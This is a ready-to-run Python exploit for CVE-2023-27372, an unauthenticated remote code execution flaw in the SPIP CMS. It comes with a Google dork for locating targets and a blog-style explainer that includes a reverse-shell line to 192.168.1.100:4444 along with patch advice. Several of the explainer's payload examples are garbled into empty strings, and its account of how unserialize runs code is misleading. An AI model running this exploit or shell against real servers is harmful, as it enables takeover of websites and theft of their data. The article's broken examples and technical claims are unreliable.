SPIP v4.2.0 - Remote Code Execution (Unauthenticated)
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Exploit Title: SPIP v4.2.1 - Remote Code Execution (Unauthenticated)
# Google Dork: inurl:"/spip.php?page=login"
# Date: 19/06/2023
# Exploit Author: nuts7 (https://github.com/nuts7/CVE-2023-27372)
# Vendor Homepage: https://www.spip.net/
# Software Link: https://files.spip.net/spip/archives/
# Version: < 4.2.1 (Except few fixed versions indicated in the description)
# Tested on: Ubuntu 20.04.3 LTS, SPIP 4.0.0
# CVE reference : CVE-2023-27372 (coiffeur)
# CVSS : 9.8 (Critical)
#
# Vulnerability Description:
#
# SPIP before 4.2.1 allows Remote Code Execution via form values in the public area because serialization is mishandled. Branches 3.2, 4.0, 4.1 and 4.2 are concerned. The fixed versions are 3.2.18, 4.0.10, 4.1.8, and 4.2.1.
# This PoC exploits a PHP code injection in SPIP. The vulnerability exists in the `oubli` parameter and allows an unauthenticated user to execute arbitrary commands with web user privileges.
#
# Usage: python3 CVE-2023-27372.py http://example.com
import argparse
import bs4
import html
import requests
def parseArgs():
parser = argparse.ArgumentParser(description="Poc of CVE-2023-27372 SPIP < 4.2.1 - Remote Code Execution by nuts7")
parser.add_argument("-u", "--url", default=None, required=True, help="SPIP application base URL")
parser.add_argument("-c", "--command", default=None, required=True, help="Command to execute")
parser.add_argument("-v", "--verbose", default=False, action="store_true", help="Verbose mode. (default: False)")
return parser.parse_args()
def get_anticsrf(url):
r = requests.get('%s/spip.php?page=spip_pass' % url, timeout=10)
soup = bs4.BeautifulSoup(r.text, 'html.parser')
csrf_input = soup.find('input', {'name': 'formulaire_action_args'})
if csrf_input:
csrf_value = csrf_input['value']
if options.verbose:
print("[+] Anti-CSRF token found : %s" % csrf_value)
return csrf_value
else:
print("[-] Unable to find Anti-CSRF token")
return -1
def send_payload(url, payload):
data = {
"page": "spip_pass",
"formulaire_action": "oubli",
"formulaire_action_args": csrf,
"oubli": payload
}
r = requests.post('%s/spip.php?page=spip_pass' % url, data=data)
if options.verbose:
print("[+] Execute this payload : %s" % payload)
return 0
if __name__ == '__main__':
options = parseArgs()
requests.packages.urllib3.disable_warnings()
requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
try:
requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
except AttributeError:
pass
csrf = get_anticsrf(url=options.url)
send_payload(url=options.url, payload="s:%s:\"<?php system('%s'); ?>\";" % (20 + len(options.command), options.command)) Exploiting SPIP v4.2.0: Remote Code Execution via Unauthenticated PHP Injection (CVE-2023-27372)
On June 19, 2023, a critical vulnerability was disclosed in SPIP, a widely used open-source content management system (CMS) for French-speaking websites. The flaw, identified as CVE-2023-27372, enables unauthenticated remote code execution due to improper handling of serialized data in the public-facing login form. This vulnerability affects versions prior to 4.2.1, including branches 3.2, 4.0, 4.1, and 4.2 — making it a widespread threat across numerous deployed installations.
Understanding the Vulnerability: Serialization Misuse in SPIP
SPIP, designed for simplicity and ease of use, relies heavily on PHP’s serialize() and unserialize() functions for data storage and retrieval. However, in versions 4.2.0 and earlier, the application fails to properly sanitize user input when processing the oubli parameter in the spip_pass page. This parameter is intended to handle password recovery requests, but its handling allows attackers to inject malicious PHP code via serialized strings.
The core issue lies in the lack of input validation and the use of unserialize() on user-controlled data. When an attacker crafts a serialized string that contains PHP code, the system executes it upon unserialization — effectively turning the form into a remote code execution (RCE) vector.
Exploit Mechanics: Crafting the Payload
Consider the following payload crafted in the exploit script:
s:%s:\"\";
This is a serialized PHP string where:
sdenotes a string type in PHP serialization.%sis a placeholder for the length of the string (in this case, the length of the injected code).\"is the actual PHP code injected, which executes a system command.
For example, if the attacker wants to run whoami, the payload becomes:
s:14:"";
When this string is sent via the oubli parameter, SPIP unserializes it without proper sanitization. The system() function is then executed, returning the current user identity — confirming the RCE has been successfully triggered.
Attack Vector: Unauthenticated Access
One of the most alarming aspects of CVE-2023-27372 is that it requires no authentication. The exploit leverages the public spip_pass page, accessible to anyone with a URL. This means:
- Attackers can target any SPIP installation without credentials.
- Google Dorks like
inurl:"/spip.php?page=login"can be used to discover vulnerable systems. - Automated scanners can identify and exploit thousands of sites in minutes.
This makes the vulnerability particularly dangerous in environments where public access is not restricted, such as government websites, educational portals, or news platforms.
Real-World Impact and Use Cases
Imagine a French university website running SPIP 4.0.0. An attacker discovers the login page and crafts a payload to execute:
s:16:"";
Upon submission, the server responds with the contents of the password file — exposing sensitive system information. This could lead to further exploitation, such as privilege escalation or lateral movement.
Another scenario involves executing a reverse shell:
s:30:"& /dev/tcp/192.168.1.100/4444 0>&1\"'); ?>";
While the payload is not directly executable in all environments (due to disabled shell functions or restricted network access), it demonstrates the potential for full system compromise.
Fixes and Mitigation
Vendor patches were released for affected versions:
| Version | Fixed Version |
|---|---|
| 3.2 | 3.2.18 |
| 4.0 | 4.0.10 |
| 4.1 | 4.1.8 |
| 4.2 | 4.2.1 |
Administrators should immediately upgrade to the latest stable release. Additionally, defensive measures include:
- Disabling
unserialize()on user input. - Implementing strict input validation and sanitization.
- Using WAFs (Web Application Firewalls) to detect serialized PHP payloads.
- Monitoring logs for unusual POST requests to
spip.php?page=spip_pass.
Expert Insight: Why Serialization is Dangerous
Serialization is inherently risky when used with untrusted data. Unlike JSON or XML, PHP serialization can execute code during unserialization — a feature designed for convenience, not security. This vulnerability highlights a fundamental design flaw: never trust serialized data from external sources.
As a cybersecurity expert, I recommend that developers:
- Use custom serialization formats (e.g., JSON) instead of PHP’s native format.
- Implement a whitelist of allowed types and values.
- Apply strict sandboxing when handling serialized data.
For legacy systems like SPIP, patching is the only viable solution — but awareness and proactive scanning remain essential.
Conclusion
CVE-2023-27372 is a critical vulnerability with a CVSS score of 9.8, indicating severe impact and ease of exploitation. Its unauthenticated nature, combined with widespread deployment of older SPIP versions, makes it a prime target for automated attacks. Organizations using SPIP must prioritize patching and adopt robust security practices to prevent compromise.
Security professionals should treat this exploit as a case study in how poor input handling can lead to full system takeover — a reminder that even simple forms can be weaponized if not properly secured.